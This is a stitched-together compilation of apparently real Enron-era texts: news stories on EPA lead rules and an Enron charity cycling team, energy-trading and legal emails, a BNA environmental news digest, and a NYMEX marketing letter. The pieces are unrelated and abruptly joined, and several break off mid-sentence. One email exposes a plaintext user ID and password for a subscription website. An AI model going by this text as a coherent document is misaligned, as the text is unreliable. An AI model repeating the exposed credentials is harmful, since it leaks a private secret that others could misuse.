Whitman that implementation costs for the new lead rules would be
high for small companies and that there are no scientific studies
to prove they are necessary.
     EPA says the combined cost of compliance would be about $80
million the first year and $40 million per year thereafter.
     One of the groups, the IPC, which represents electronics
makers, said it has hired the law firm of King & Spalding to
prepare for a suit to block the new rules.
     The coalition can lay claim to some of Washington's biggest
lobbying operations. ``I don't think it's lost on anybody that
there are 73 associations concerned,'' said Jane Luxton of King &
Spalding.
     The group includes the National Association of Manufacturers,
which spent nearly $1.2 million on lobbying in the last six months
of 1999 alone, the last year for which statistics were available.
according to FECInfo, a group that tracks lobbying and campaign
donations.

                        Campaign Donations

     Members of the coalition gave hundreds of thousands to
Republicans during the 2000 elections.
     The Edison Electric Institute, for example, gave nearly
$194,000 through its political action committee and roughly
$505,000 in ``soft money,'' the unlimited and largely unregulated
cash that flows to political parties. More than half went to
     The Institute spent roughly $7.3 million on in-house and
contract lobbying in the last six months of 1999, hiring Baker &
Botts, the law firm of former Secretary of State James Baker and
other well-known Washington lobbying shops, according to FECInfo.
     The National Mining Association gave $159,00 through it's PAC
and more than $92,000 in soft money, with two thirds going to
Republicans. It spent about $690,000 on lobbying in the same
period.

                         Children at Risk

     A 1986 law gave the EPA authority to set reporting thresholds
for toxic chemicals that persist in the environment and in human
bodies. Lead persists in the environment, and is ingested through
water, and inhalation of paint fumes.
     Scientists have warned about exposure to lead for decades. A
study of 4,800 children conducted between 1988 and 1994 found that
even almost any lead can result in lower math and reading scores.
     ``There does not appear to be any safe level of lead in the
blood'' for children, said Bruce Lanphear, an associate professor
of pediatrics at Children's Hospital Medical Center in Cincinnati
who wrote the report, which will be published next month by the
U.S. Public Health Service.
     Much of the research has focused on ingestion of lead paint
by children, the most common form of exposure. About 40 percent of
U.S. homes have lead paint, said Richard Levinson, associate
executive director of the American Public Health Association,
citing government statistics.
     Lead exposure from industrial emissions is less common but
more potent, scientists said. Lead dispersed in the air is
absorbed more by the body than that contained in paint chips,
Lanphear said.

                           Never Leaves

     The body retains lead, mostly in the bones, releasing it into
the bloodstream as a person ages and gets bone diseases such as
osteoporosis.
     ``As you get older, the lead levels get higher,'' said Robert
Wright, a toxicologist and epidemiologist at Harvard Medical
School.
     Recent studies have suggested a link between lead and
hypertension, kidney problems and lower IQ scores among adults,
Wright added.
     Asked about such studies, Jeff Miller, executive director of
the Lead Industries Association, which represents 79 lead-making
producers across the country, said: ``People have to realize that
lead poisoning in the United States today is not a major health
problem,'' Miller said. ``The question really is, `Is it causing a
problem when it's in the bones?' ''
     As governor of New Jersey, Whitman was criticized by
environmental groups for removing more than 1,000 chemicals from
the state's right-to-know list.

--Alex Canizares, with reporting by Jeff Bliss and Glen Justice in
Washington at (202) 624-1820 or acanizares@bloomberg.net/mmw

March 28, 2001, 8:55PM
By JAYNE CUSTRED 
It used to bother Amelia Alder to ride her bike with large groups of 
cyclists. 
In fact, after finally recovering from a critical injury she received while 
riding in her first BP MS 150 in 1994, Alder had to have a private start, 
away from all the masses of cyclists, the next two times she participated in 
the Houston to Austin tour. 
Alder's motto these days, however, is the more the merrier. And Alder spends 
her time doing everything she can to make sure the group she's riding with is 
the largest of them all. 
Alder is the force behind the Enron team that participates each year in the 
MS 150. For the past three years, Enron has fielded not only the largest team 
in the Houston to Austin race, but also the largest team of any of the 130 MS 
150 bike tours taking place across the country. 
More importantly, Enron has also raised the most money of any team in any 
race in the nation. 
"Last year, Enron raised $525,000 for MS, which was the best in the country," 
Alder said. "We are really proud of that. We had 400 riders who really came 
through. At Enron, we see the MS 150 as a bike tour for fund-raisers rather 
than a bike trip for cyclists. And most of our cyclists respond to that." 
So far this year, with just shy of a month left before the MS 150, Alder said 
Enron already has 400 cyclists signed up to ride. 
"That's where we topped out last year," she said. "So we're expecting to see 
a lot more." 
Alder started the Enron team in 1996 with 10 people, just two years after her 
injury. It was during the 1994 race that Alder got hit from behind by another 
cyclist. She toppled from her bike and slammed into the ground with such 
force that she doesn't recall anything about the accident or immediately 
following. 
Alder had to have brain surgery and she almost didn't make it. During the 
next year, she would be back in the hospital three or four times for 
complications. 
"I was back in the hospital during the 1995 tour, and I felt so bad that I 
couldn't take part," she said. "So in 1996 I said, `I'm going to make it.' 
And I was just inspired to build a team." 
By 1997, the Enron team was up to 50 people and raised $50,000. 
"That was when the corporation decided to get on board and support us 
financially," Alder said. "That's when it really took off." 
In 1998, Enron moved into the top position in the team race and has stayed 
there ever since. With the large number of employees participating, Team 
Enron has become quite a production for Alder to organize. 
"Every rider gets a free team jersey and a free massage when we stop for the 
night in La Grange," she said. "We travel with a team of 30 masseurs and one 
doctor. We also have our own food and a large tent for our sleeping 
accommodations. Even our CEO, Jeff Skilling, rides with us and sleeps in the 
tent and hangs out with the team. He's the real champ of the team." 
To be eligible to participate in the BP MS 150, an individual must raise $200 
in sponsorships. But to be eligible to join the Enron team, a cyclist must 
raise double that. 
Alder said it takes approximately 50 volunteers to service the team during 
the ride. For a 12-member core team, organizing the ride is a year-round 
project. 
"This year it will be really competitive," Alder said. "There's a couple 
other corporations who are making a real push for that top spot. We hope we 
stay ahead this year. We're hoping to stay in first place. But for the sake 
of the MS Society, we hope the other corporations can do as well as Enron. 
"This is such a sentimental journey for me every year. I love Enron and I'm 
dedicated to the MS Society and this ride also represents a whole new era of 
my life. It's just a great event." 
Odds and ends -- The BP MS 150 Bike Giveaway is underway at area bike stores. 
Interested parties can stop in at any of the 26 official bike shops in the 
Houston and Austin areas and fill out an entry form. You don't have to be 
participating in the MS 150 to enter. 
At the close of business on April 9, each bike store will randomly draw one 
winner from each store. Additional bikes are also being given away in 
conjunction with promotional contests on FM and AM Clear Channel radio 
stations in Houston. 
Each winner will receive a gift certificate from the National Multiple 
Sclerosis Society in the amount of $325, good toward the purchase of a 
bicycle at an official BP MS 150 store. For information, call the MS Society 
at (713) 526-8967. ... 
Kudos to Gail Hurley for another great job running the Bluebonnet Express 
Metric Century, which took place March 18 in the Hempstead area. Hurley is 
retiring as race director after two years at the helm. This year's ride had 
more than 1,900 cyclists and no major problems. 

Start Date: 1/20/02; HourAhead hour: 17;  HourAhead schedule download failed. Manual intervention required.

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final Schedules\2002012017.txt
!!!Unknown database.
Alias: dbCaps97Data

WE are long 50 mws at PV HE7 - HE22 on Saturday 12/16.  We parked this energy 
with EPE.  I have already made the purchase side from EPE on Saturday in 
Enpower (#481172) and the sale side will need to be entered in Enpower when 
you sell the energy Saturday morning.  Please route the deal, input the price 
as sold, and send me an email detailing who it went to, when and where.   We 
purchased the energy at $175...I have not had a bid at Palo too far over 
$125.  
LDWP is looking to buy.  Be aggressive, make it easy for the dispatchers and 
get this bilat sale DONE.

Thanks for your attention and good luck.

Bill

Folks:

Here's the final.   I incorporated some comments from Christine and emailed a 
copy to Aceves.  Jimmie/Dylan let me know if one of you can bring a hard copy 
to class tomorrow.  If not, he's now got an electronic copy, and I'll drop 
off a hard copy on Tuesday.  Hope to see you (for at least half the class) 
tomorrow.

Best,
Jeff

EnronOptions Announcement

We have updated the EnronOptions =01) Your Stock Option Program web site!  =
The=20
web site now contains specific details of the EnronOptions Program includin=
g=20
the December 29, 2000 grant price and additional information on employee=20
eligibility.

Access EnronOptions =01) Your Stock Option Program web site by clicking on=
=20
http://hrweb.enron.com or by typing the address into your web browser.

We hope you find the revised site helpful in addressing your questions abou=
t=20
the EnronOptions Program.  If you have any additional questions, please=20
contact your H.R. Representative.

Stay tuned for more information throughout March and April 2001.

Teresa,

It's OK to hire S. Tamarchenko as a summer temporary employee.
We need all the help we can get this summer.

I assume it will be 40 hrs a week, as long as ut conforms with all the 
external
and internal regulations.

Vince

Go for it!

George Robinson
04/27/99 04:14 PM

To: Larry Campbell/ET&S/Enron@Enron
cc: Butch Russell/ET&S/Enron@Enron 

Subject: NNG Gomez Water Disposal

I began discussions regarding this issue with Sonny, an employee of Cliffwood 
Oil & Gas, operator of the Ft. Stockton Unit Water Station. This is the 
outfit that was taking our recovered groundwater. Sonny discussed this with 
Cliffwoods' reservoir engineers in Houston and they decided they did not want 
to accept this water regardless of permit status due to their concern that 
the relatively fresh water may cause calcium carbonate to precipitate in the 
disposal well perforations and plug up their well. 

Lee Cisneros of 4C Construction, the outfit hauling the recovered water, put 
me in touch with Kenneth McIntyre of Stockton Water Inc. Kenneth informed me 
that they would accept the water if permit condition would allow it. Kenneth 
said they would dispose of the water in one of two wells, their University 
165 or RS Pershing Well#1. 

This afternoon I discussed the issue of disposal of recovered water with 
Doris at the TRC District 8 office. Doris looked up the permit for these two 
wells and informed me that they were permitted for produced water only. After 
further discussion of the situation she transferred my call Mark Henkhaus, 
District 8 Director. Mark said that normally this waste stream would go to an 
"oil and gas waste" disposal facility as you had pointed out in our meeting 
last week, but suggested an alternative. Mark suggested that I obtain a 
letter of no objection from the operator of the SWD disposal well and 
transmit the letter with a request for approval from his office to dispose of 
the recovered water in the SWD disposal well for a period not to exceed 12 
months. He said he will issue an approval for such a request.

I think this will be the most cost effective manner to manage recovered water 
over the next few months, particularly if recovery operations continue to 
proceed as favorably as they have to date and we can cease active remediation 
activities toward the latter part of this year. If you concur, I will obtain 
the letter from the disposal well operator and submit the request to the TRC.

Thanks, George

Here are the Mike Day points.
---------------------- Forwarded by Paul Kaufman/PDX/ECT on 02/01/2001 10:38 
   
	From:  MBD <MDay@GMSSR.com>                           02/01/2001 09:47 AM
	
To: "'Jeff Dasovich  Enron SF'" <jdasovic@enron.com>, "'Jim Steffes, Enron'"  
<jsteffe@enron.com>, "'Mike D Smith'" <Mike_D_Smith@enron.com>, "'Paul 
Kaufman, Enron Portland'" <paul.kaufman@enron.com>, "'Sue Mara at Enron SF'" 
<smara@enron.com>, "'Sandi McCubbin Enron SF'"  <smccubbi@enron.com>, 
"'vsharp@enron.com'" <vsharp@enron.com>, "'rshapiro@enron.com'" 
<rshapiro@enron.com>
cc:  
Subject: ENRON ENERGY SERVICES WILL HONOR ITS

 <<X20557.DOC>>

Here are draft bullet points for responding to the NY Times article at the
Capitol.  Please comment by responding to Mike Day's cell phone asap.
Thanks, Mike

cell  415-279-0702

 - X20557.DOC

We have received the executed EEI agreement from the referenced CP dated 
12/30/00.  Copies will be distributed to Legal and Credit.

fyi
---------------------- Forwarded by Kay Mann/Corp/Enron on 04/11/2001 01:30 

Kay Mann
04/11/2001 01:14 PM
To: wmontjoy@brunini.com
cc:  

Subject: Draft Contract and Exhibits

Hi Wilson,

I haven't forgotten you, I just got tied up.  

This is a very preliminary draft, but thought you should take a look at it.  
I don't need a detailed analysis, I just want you to have it so that we can 
discuss the impact of Mississippi law.

I am specifically interested in discussing the following:

waivers of consequential damages, limitations of liability

legal status of MDEA (I'll send you the info of what I have)

dispute resolution and jurisdiction

restrictions on confidentiality restrictions

any other aspects of the agreement impacted by Mississippi law

I don't need any memos, just a discussion.

Thanks,

Kay
---------------------- Forwarded by Kay Mann/Corp/Enron on 04/11/2001 01:02 
From: Reagan Rorschach/ENRON@enronXgate on 04/10/2001 05:18 PM
To: Tom May/Corp/Enron@Enron, Brad Morse/HOU/ECT@ECT, Corry 
Bentley/HOU/ECT@ECT, Keith Comeaux/Corp/Enron@Enron, Kayne 
Coulter/HOU/ECT@ECT, Edith Cross/HOU/ECT@ECT, David Fairley/ENRON@enronXgate, 
Rogers Herndon/HOU/ECT@ect, Jim Homco/HOU/ECT@ECT, Madhup 
Kumar/ENRON@enronXgate, Kay Mann/Corp/Enron@Enron, Christi L 
Nicolay/HOU/ECT@ECT, Ozzie Pagan/ENRON@enronXgate, Laura 
Podurgiel/HOU/ECT@ECT, Leslie Reeves/HOU/ECT@ECT, Edward 
Sacks/ENRON@enronXgate, Stacey W White/HOU/ECT@ECT, Lloyd Will/HOU/ECT@ECT
cc:  

Please review and comment.  These were sent to MDEA wqith the understanding 
that Enron is still working on them.

Thanks,

Reagan

User ID:  enronden
PW:        bnaweb22

From: 	"BNA Highlights" <bhighlig@bna.com>@ENRON [mailto:IMCEANOTES-+22BNA+20Highlights+22+20+3Cbhighlig+40bna+2Ecom+3E+40ENRON@ENRON.com] 
Sent:	Monday, June 04, 2001 11:06 PM
To:	BNA Highlights
Subject:	June 5 -- BNA, Inc. Daily Environment Report

______________________________

DAILY ENVIRONMENT REPORT
Highlights & Table of Contents
June 5, 2001

ISSN 1521-9402

Registered Web subscribers can access the full text of these
articles by using the URL link supplied.

Information about becoming a subscriber or signing up for a
FREE Web trial is available at http://web.bna.com or call
BNA Customer Relations at 1-800-372-1033, Mon. - Fri. 8:30
am - 7:00 pm (ET).
__________

HIGHLIGHTS

CHANGES CONSIDERED TO RELAX RULES FOR CERTAIN WETLANDS
PERMITS

Rules prohibiting development activities affecting 300
linear feet of stream bed would be relaxed in certain
circumstances under changes to the wetlands program being
contemplated by the U.S. Army Corps of Engineers. The corps
is considering changes to several of its nationwide permits,
which authorize activities in up to a half-acre of wetlands,
according to a corps spokesman.  The revisions come slightly
more than a year after the corps published its package of
new and revised nationwide permits, which included lowering
the allowable amount of wetlands that could be impacted from
three acres to a half-acre. . . . Page AA-1,  E-1

http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4v9n2_

http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4u7f6_

SUPREME COURT DECLINES REVIEW OF DECISION UPHOLDING PCB
DISPOSAL RULE

The U.S. Supreme Court announces that it will not review a
federal appeals court decision that upheld an EPA regulation
on polychlorinated biphenyl use and disposal. The court
leaves standing an August 2000 decision by the Fifth Circuit
Court of Appeals, which largely upheld the rule, known as
the PCB Mega Rule. The Supreme Court denies review without
comment. . . . Page A-1

http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g3y2c7_

BUSH PRAISES EVERGLADES RESTORATION, CALLS FOR 'NEW
ENVIRONMENTALISM'

President Bush seeks to firm up his environmental
credentials by pointing to his administration's request for
$219 million for restoration of the Everglades and by
calling for a "new environmentalism." The money is part of
the federal government's commitment to an Everglades
restoration effort enacted last year. Bush points to
cooperation in the Everglades project as an example of the
"new environmentalism for the 21st century." . . . Page A-1

http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4r7w3_

REFINERY FOUND LIABLE FOR VIOLATIONS OF FEDERAL LAW, DESPITE
STATE ACTIONS

A petroleum refiner is liable for violations of various
federal laws despite the initiation of a state enforcement
action, a federal district court rules. The U.S. District
Court for the Western District of Wisconsin grants partial
summary judgment to the federal government on its claims
that Murphy Oil USA Inc. is liable for violations of the
Clean Air Act, the Clean Water Act, and the Resource
Conservation and Recovery Act at its refinery in Superior,
Wis. The court rejects Murphy's claims that the initiation
of state enforcement actions precludes EPA from bringing its
claims. . . . Page A-2

http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4t8w9_

EPA PLAN FOR GREAT LAKES TARGETS PERSISTENT BIOACCUMULATIVE
CONTAMINANTS

EPA's new strategy for cleaning up the Great Lakes Basin
places a heavy emphasis on reducing persistent
bioaccumulative substances, including mercury and dioxins,
according to a notice scheduled for publication today. In
its notice, EPA says it will host a series of public
meetings to coordinate federal, state, and local cleanup
efforts. . . . Page A-3

http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4u6u1_

EPA CIRCULATES DRAFT OF ENFORCEMENT PRIORITIES FOR FISCAL
2002, 2003

EPA is putting the finishing touches on a list of
enforcement priorities for fiscal years 2002 and 2003 that
builds on progress made in six major areas during the
previous two-year period, but budget cutbacks will force
some consolidation in programs, an agency official tells
BNA. The Office of Enforcement and Compliance Assurance
sends a draft version of a memorandum of agreement guidance
to EPA's 10 regional offices. . . . Page A-4

http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4v0u3_

NINTH CIRCUIT HALTS TIMBER SALES TO PROTECT SALMON HABITAT,
WATER QUALITY

The U.S. Court of Appeals for the Ninth Circuit upholds a
lower court's ruling that halted a number of federal timber
sales in Oregon because of endangered species and water
quality concerns. The ruling affirms a 1999 ruling by the
district court which directed federal biologists to do more
site-specific studies of the impact of the timber sales on
salmon habitat and water quality. . . . Page A-10

http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4c5f0_

EPA ASSIGNS LOW ENFORCEMENT PRIORITY TO AQUATIC HERBICIDE
DECISION

EPA will not change its civil enforcement priorities on
pesticides applied to water until the agency develops a
concerted national approach to regulate such activities,
according to a memorandum from EPA's Office of Enforcement
and Compliance Assurance. The memorandum refers to a federal
appeals court ruling that an irrigation district in Oregon
may be subject to liability under the Clean Water Act
because it failed to obtain a permit to spray aquatic
herbicides on its canals. . . . Page A-5

http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4t5t8_

RESEARCHERS COULD HELP EPA IN USE OF MODELS TO PREDICT PEST
RESISTANCE

A panel of researchers is advising EPA on a framework that
could help enhance the time genetically engineered,
pesticidal corn is effective against pests, an EPA official
and panel members tell a workshop. The EPA Office of
Research and Development convenes a two-day workshop to
address the management of insect resistance to Bacillus
thuringiensis corn, which fights pests through the
production of proteins--pesticidal toxins. . . . Page A-6

http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4r7j1_

ENERGY DEPARTMENT LAUNCHES INITIATIVES TO IMPROVE NATURAL
GAS PIPELINES

The Department of Energy announces that it will provide $4.4
million over the next three years to 11 new
government-industry collaborations to improve the safety and
performance of the nation's natural gas delivery system. . .
. Page A-9

http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4q7p7_

RENEWABLE ENERGY PROJECTS INCLUDED IN $3.5 BILLION ENERGY
PLAN IN ILLINOIS

Illinois legislators put together a $3.5 billion package of
financial incentives for electric power companies and coal
mining operations as a strategy to boost the sagging coal
industry and to improve the reliability of the state's
electric power generating network. The package also includes
an environmental initiative aimed at financing renewable
energy projects and a commitment to review regulations
pertaining to emissions from older coal-fired power
generating stations. . . . Page A-4

http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4u6n6_

__________________

INTERNATIONAL NEWS

EUROPEAN PROGRAM: The European Parliament approves the first
draft of a plan that is expected to guide the EU's
environmental policies for the next decade. Environment
ministers from the 15 EU nations now will seek their own
common position on the draft. . . . Page A-10

http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4a1x1_

BIOTECHNOLOGY: The United States formally protests
regulations being drafted in the EU that would place strict
traceability and labeling restrictions on bioengineered
crops and products. The European Commission is expected to
approve the new rules June 20. . . . Page A-7

http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4x5f3_

CLIMATE CHANGE: The incoming Italian government calls on the
EU to take a less strident position toward the United States
over the Kyoto Protocol and calls into question the EU's
united front for upcoming negotiations on the treaty. . . .
Page A-8

http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4r9v3_

CLIMATE CHANGE: The United Nations unveils a four-year
assessment of the world's ecosystems that some say could
eventually improve the chances of success for the Kyoto
Protocol. . . . Page A-6

http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4u8z5_

____

TEXT
____

WETLANDS: Army Corps of  Engineers Proposal to Reissue,
Modify Permits for Discharges of Dredged or Fill Material to
Wetlands. . . . Page E-1

_________________

TABLE OF CONTENTS

LEADING THE NEWS

WETLANDS
   Corps considers changes to permits; stream bed activities
   ban targeted . . . Page AA-1
   http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4v9n2_

____

NEWS
____

BIOTECHNOLOGY
   U.S. protests new EU rules, says they may violate WTO
   agreement . . . Page A-7
   http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4x5f3_

CLIMATE CHANGE
   Italian government urges EU to soften tone toward U.S. on
   Kyoto pact . . . Page A-8
   http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4r9v3_

ENDANGERED SPECIES
   Ninth Circuit upholds bar on timber sales . . . Page A-10
   http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4c5f0_

ENFORCEMENT
   EPA to maintain focus in six areas; budget cuts force
   trade-offs . . . Page A-4
   http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4v0u3_

   Refinery is liable, despite state actions, for clean air,
   water, and RCRA violations . . . Page A-2
   http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4t8w9_

EVERGLADES
   Bush calls for 'new environmentalism,' touts proposal for
   restoration effort . . . Page A-1
   http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4r7w3_

ILLINOIS
   Renewable energy projects included in Legislature's $3.5
   billion power plan . . . Page A-4
   http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4u6n6_

INTERNATIONAL ISSUES
   Delegates approve draft of action plan to guide EU
   policies . . . Page A-10
   http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4a1x1_

   U.N. assessment of world ecosystems seen as boost to
   chances for Kyoto Protocol . . . Page A-6
   http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4u8z5_

PESTICIDES
   Low enforcement priority assigned to aquatic herbicide
   decision, official says . . . Page A-5
   http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4t5t8_

   Panel could aid EPA biotech regulation in use of models
   predicting pest resistance . . . Page A-6
   http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4r7j1_

PIPELINE SAFETY
   DOE launches initiatives to modernize natural gas
   pipelines . . . Page A-9
   http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4q7p7_

TOXIC SUBSTANCES
   Supreme Court declines review of decision upholding PCB
   rule . . . Page A-1
   http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g3y2c7_

WATER POLLUTION
   Great Lakes cleanup strategy targets bioaccumulative
   contaminants . . . Page A-3
   http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4u6u1_

WETLANDS
   prohibition targeted . . . Page AA-1

   Text of Corps of Engineers proposal to reissue, modify
   permits for dredged or fill material . . . Page E-1
   http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4u7f6_

IN BRIEF
   Federal agencies share data on waste cleanups . . . Page
   A-11
   http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4d1g3_

   Group sues EPA over Phoenix particulates . . . Page A-11
   http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4d1g6_

________

CALENDAR
________

CONGRESS
   Legislative calendar . . . Page C-1
   http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4z4g4_

PRESIDENT
   President's calendar . . . Page C-2
   http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4z4f2_

PUBLIC LAWS
   Legislation recently signed into law . . . Page C-2
   http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4z6r1_

REGULATORY AGENDA

COMMENT DEADLINES
   Due dates for comments on pending rules . . . Page D-3
   http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g3t5x9_

JUNE 5 FEDERAL REGISTER
   Entries from today's table of contents . . . Page D-1
   http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g4c0e3_

JUNE 4 FEDERAL REGISTER
   Previous day's entries with page citations . . . Page D-2
   http://pubs.bna.com/ip/BNA/den.nsf/id/a0a4g3t5b0_

____

TEXT
____

WETLANDS
   Corps proposal to reissue, modify permits for dredged or
   fill material . . . Page E-1

______________

TABLE OF CASES

Bahr v. Whitman (D. Ariz.) . . . Page A-11

Headwaters Inc. v. Talent Irrigation District  (9th Cir.) .
. . Page A-5

Pacific Coast Federation of Fishermen's Associations Inc. v.
National Marine Fisheries Service (9th Cir.) . . . Page A-10

United States v. Murphy Oil USA Inc. (W.D. Wis.) . . . Page
A-2

Utility Solid Waste Activities Group v. EPA (U.S.) . . .
Page A-1

   __________
   Daily Environment Report (ISSN 1521-9402) Highlights are
   published daily by The Bureau of National Affairs, Inc.,
   1231 25th St., NW, Washington, DC 20037.

   For account information and changes, contact
   1-800-372-1033 (M-F, 8:30 am-7:00 pm ET)

   To request retransmission or to order a copy of the
   summarized article, contact 1-800-452-7773 or e-mail
   bnaplus@bna.com.

   Copyright (c) 2001 by The Bureau of National Affairs,
   Inc.  Washington, D.C.  20037.  Use of this service is
   subject to the terms and conditions of the license
   agreement with BNA.  Unauthorized access or distribution
   is prohibited.

Hennegan's office will be seeking to depose Brian Barth as well as Kevin 
McConville.? They feel they have to depose Brian and Kevin, because they fear 
that ECT Securities will file a motion for summary judgment and they are 
looking for testimony to use in opposition.

----- Forwarded by Tana Jones/HOU/ECT on 04/12/2001 03:10 PM -----

	"Dotson, Elona" <EDotson@NYMEX.com>
	04/02/2001 05:57 PM
		 
		 To: Tana.jones@enron.com
		 cc: 
		 Subject: enymex Registration Information

April 2, 2001

Via Email

Tana Jones
Tana.jones@enron.com
Enron

Dear Tana Jones:

The New York Mercantile Exchange is excited and we want to tell you why.
NYMEX is about to launch enymexsm  and its prospects are invigorating.

Over-the-counter (OTC) participants will now be able to execute transactions
on the same platform as NYMEX futures.  The Exchange plans to use its proven
clearing infrastructure to introduce complete counter-party risk management,
and create net margining with Exchange futures markets by calculating a
consolidated clearing position.  Subsequent enymexsm functionality will also
provide an internet-based interface to the established Exchange futures
market by routing futures orders to the trading floor and the NYMEX ACCESSc
electronic trading system, depending on the session.

Attached please find information announcing the first slate of products to
be offered for listing on enymexsm .

Since we value your business as a forerunner in this industry, we are
enclosing for your review the sale registration form, which consists of the
enymexsm System User Agreement.  Please review, sign and return to Robert A.
Dagistino, Director of Customer Service, New York Mercantile Exchange, One
North End Avenue, New York, N.Y. 10282.  Any questions can be answered via
email at rdagistino@nymex.com or via telephone at 212-299-2429.

The signatory must be an executive officer or partner of the firm.  We are
also attaching two "click-on screens" that users will view when they first
log on to the system.

Please note that since the enymexsm products will be cleared you will also
need to obtain authorization from a clearing member for your account.

A NYMEX team, consisting of members of our Board, local traders and staff,
will be visiting each one of you in person.  They will discuss with you how
to utilize the benefits of NYMEX to achieve precision in many of your
customized transactions.

We look forward to receiving your registration and participation in what is
intended to be the premier, global exchange for forward trading and clearing
contracts focusing on energy and metals products.

Neal Wolkoff,
Executive Vice President

 <<enymex information.doc>>  <<enymex system user agreement.doc>>
<<clickonscreensfinal3282001.doc>> 
 - enymex information.doc
 - enymex system user agreement.doc
 - clickonscreensfinal3282001.doc

Cheryl Nelson, Senior Counsel, will be joining the EWS Legal Department on 
December 4.  Cheryl will report to Mark Taylor and will be located in 
EB3880D.  Please stop to welcome Cheryl to the department.     

Janette Elbertson
Legal Department - EB3326
Telephone:  (713) 853-7906
Fax:  (713) 646-2600
janette.elbertson@enron.com

Thank you for participating in the meeting/conference call yesterday 
afternoon.  I know it was helpful to go through the Synthetic Lease 
assumptions with everyone on board.  I met with Dave yesterday evening and 
briefly discussed his timing (ASAP) on meeting with Joe Sutton and his 
expectations (very high) on the Moore presentation.  I referenced oversizing 
the amount of the Synthetic Lease in order to keep the Canadian banks happy 
on the 90% Enron guarantee.  He agreed that the economics in the dash should 
still reflect the lower actual amount to be drawn down (currently U.S. 
$169MM).  Please note below his requests and delegated responsibilities in 
(brackets) below: 

Dave requested I revise the proposal (Adam) to show add'l NPV and IRR 
comparisons based on MAIN, ComEd and possibly ICF, and a 30 Yr, GENCO 
comparison (Kate).  Given the recent downward shift in some of the curves we 
may need to recompute our existing NPV and IRR #'s also (Kate).  Besides 
furnishing a graph for the referenced curves, I need to submit GENCO's 
capital cost comparison for peakers in the marketplace (Ben).  Further, based 
on the 30 year amortization, I need to show a graph of the build up of the 
components of capacity price and a break even earnings accrual price 
(Miguel).  I will need comparisons from GENCO of these two graphs as well as 
a chart comparing start costs, heat rate and Var. O&M contrasting the Moore 
Project with the GENCO peakers (Don and/or Jynsung or Clement or Ben).  In 
addition, Dave asked to get a Draft copy of the DASH ASAP (Chip).  Dave does 
not want to circulate the DASH for signature until he has met with Sutton. 

Thanks for your help.  
Thomas. 

I corrected a typo under summary of charges (changed "by" to "to" Seller).

Kay

Here are this week's survey results.

AVG            +112
AVG w/o High & Low  +112
Median              +112
Standard Deviation    11
# of Responses        50
High           +144
Low            +77
Last Year           +56

Thank You!

George Ellis
BNP PARIBAS

_____________________________________________________________________________________________________________________________________

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FYI :
When entering deals with Canada, please remember to have the counter parties in a financial deal to be ECC and Riskmantra and a physical deal it will be ENA to ECC.
Also remember on gas daily out months(2 legs) that the book on the gas daily swap leg needs to be INTRA-CND-WE-GD not INTRA-CAND-WEST(this book is for basis piece).

ALSO:
Please remember to check your new deals completely every day, this will help eliminate future OA variances.  Do not rely on your trader to catch mistakes.

Thanks.
PL

Mary Nell,

I can't tell you how disturbed I was over this.  I can't imagine how you are 
feeling.  As I said in the voicemail it certainly is not a reflection on the 
teams efforts.  It speaks volumes about the UK and our independence!

No way to take this to the EU?

mike

RW, which London QC would represent us?  JVD
 Jim Derrick

From: Harris, Stephanie J <Stephanie.Harris@ENRON.com>
To: Derrick Jr., James <James.Derrick@ENRON.com>
Sent: Tue Oct 02 11:49:02 2001
Subject: FW: DPC -- London Commercial Court Filing

From: 	Bruce.Lundstrom@enron.com@ENRON  
Sent:	Tuesday, October 02, 2001 11:44 AM
To:	Rob.Walls.enronXgate@enron.com; Cline, Wade; Ben.Glisan.EnronXGate@enron.com; James.A.Hughes.EnronXGate@enron.com
Cc:	Harris, Stephanie J
Subject:	DPC -- London Commercial Court Filing

Folks -

We had a lawyer conference call today to discuss the prospect of filing a
suit in London Commercial Court to enjoin the GOM from trying to file a
suit in India to void the GOM Guarantee and State Support Agreements.

Chris Walker, local counsel, GE and Bechtel support filing the suit.  Other
than Jim McCartney, the Enron representatives support filing the suit.  In
the end, Jim McCartney defers to Chris Walker's judgment.

Filing suit in London has some risks.  We are uncertain of the response of
the India Supreme Court, the GOM and the current GOM/DPC arbitration panel.
The Supreme Court may take offense to the filing (although Chris thinks
that this risk is small).  In a perverse way, our filing in London could
further induce GOM to file in India (although we believe that they will in
any event).  The current arbitration panel may use this as an opportunity
to wait until the underlying DPC/MSEB dispute is decided (although Chris
